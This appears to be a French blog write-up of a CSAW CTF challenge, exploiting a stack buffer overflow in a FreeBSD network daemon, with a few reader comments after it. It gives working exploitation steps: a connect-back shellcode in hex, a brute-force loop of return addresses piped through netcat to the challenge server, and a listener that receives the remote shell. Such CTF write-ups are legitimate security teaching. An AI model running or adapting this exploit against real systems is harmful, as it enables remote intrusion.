CSAW CTF Write-up Exploit 1 – FreeBSD remote stack based buffer overflow
J’ai eu l’opportunité de regarder l’exploit1 avec teach, sauf qu’il avait pas sa VM FreeBSD prête donc c’est bibi qui s’y est collé ! Tant mieux c’était marrant :)
Analyse
On nous donnait le fichier suivant, qui s’est révélé être :
ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 8.0 (800107), statically linked, FreeBSD-style, not stripped
Avec IDAPro HexRays on reconnaît rapidement un démon réseau classique (socket/bind/listen/accept/fork). La fonction qui traite les données client s’appelle rmsg et utilise la fonction non sécurisée strcat justement avec nos données : il s’agit donc d’exploiter un classique débordement de tampon dans la pile.
Debug
En supposant que le système qui fait tourner le démon est bien FreeBSD 8.0, on lance notre machine virtuelle (thoughtpolice si vous n’en avez pas) et on ouvre le binaire dans gdb. Remarque : un bon gdbinit ça vaut le coup.
A partir de là on peut indiquer à gdb de suivre le processus fils :
set follow-fork-mode child catch exec
Ou alors patcher le binaire pour éviter le fork – je préfère – avec un xor eax,eax puis nops pour avoir une valeur de retour de 0 comme si on était dans le processus fils :
<address> <original value> <patched> 00000370: E8 33 00000371: 03 C0 00000372: 05 90 00000373: 00 90 00000374: 00 90
Voici le binaire patché qui en résulte.
Déclencher la faille
On peut déclencher le débordement de tampon dans la pile simplement avec netcat et un bon paquet de données :
$ python -c 'import struct; print "A"*360+struct.pack("<I",0xdeadbeef)' |nc 127.0.0.1 8888
On peut voir dans gdb qu’on a réussi à contrôler le saved eip, le pointeur d’instruction sauvé sur la pile :
0xdeadbeef in ?? ()
Shellcode
Maintenant on aimerait prendre le contrôle du programme avec notre code. Quel code ? On pourrait utiliser un shellcode bind port, mais il y a peu de chances que ça marche car on se connecte sur l’unique IPv4 du CSAW, donc très certainement derrière un routeur NAT. On peut alors tenter d’utiliser un shellcode connect-back si les connexions sortantes ne sont pas bloquées. Heureusement non, sinon il aurait fallu faire notre propre shellcode réutilisant la connexion déjà ouverte.
C’est à ce moment là qu’on va voir sbz (@sbrabez) – notre expert FreeBSD – et il nous donne le shellcode suivant BSDi-x86-connectback, qui a très bien fonctionné.
Adresse de retour
Puisque FreeBSD 8.0 a la pile exécutable et pas d’ASLR par défaut, on va tenter le simple payload suivant : nopsled + shellcode + réécriture du saved eip, avec une adresse dans le nopsled. Dans ce genre de situation j’aime bien lancer gdb avec un environnement à zéro (env -i gdb <fichier>), lancer le programme et interrompre après le dépassement de tampon pour avoir l’adresse du tampon et choisir une adresse au milieu du nospled : 0xbfbfe510 fera l’affaire.
Cette adresse a de grandes chances de ne pas fonctionner sur le serveur, mais grâce au nopsled on peut rapidement itérer pas mal d’adresses de retour pour finalement en trouver une qui marche – le script se bloque et une connexion apparaît sur notre netcat en écoute du connect-back.
Exploitation
Tout d’abord, on lance le netcat en écoute du connect-back :
$ nc -nlvp 1337 listening on [any] 1337 ...
Puis on lance l’exploitation (retours à la ligne pour y voir plus clair) :
for i in $(seq 0 100); do echo $i python -c 'sc="\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe7\x31\xdb\xf7\xe3 \x53\x43\x53\x43\x53\xb0\x61\xff\xd7\x89\xc6\x68\xaa\xbb\xcc\xdd\x68\xaa\x02\x05\x39\x89 \xe5\x6a\x10\x55\x56\xb0\x62\xff\xd7\x53\x56\xb0\x5a\xff\xd7\x4b\x79\xf7\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7"; from struct import pack; print sc.rjust(360,"\x90")+pack("<I",0xbfbfe510+0x10*'$i')' |nc 128.238.66.100 40001 done
A i=76 j’ai reçu le shell connect-back :
connect to [1.2.3.4] from (UNKNOWN) [128.238.66.100] 64361 id uid=1001(chal1) gid=1001(chal1) groups=1001(chal1) ls key cat key 95335ebbdbab9c8eb745fd3ec618d35a
Classique, mais toujours marrant à exploiter !
Tags: buffer overflow, CSAW, ctf, exploit
























When the remote server connects back and you have a working shell.
How did the attack “locked” you inside the directory with the key?
Using chroot/sysjail ? I’m trying to reproduce this environment.
[...] : ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 8.0 (800107), [...] Nibbles microblog This entry was posted in Sécurité Informatique and tagged based, Buffer, CSAW, exploit, [...]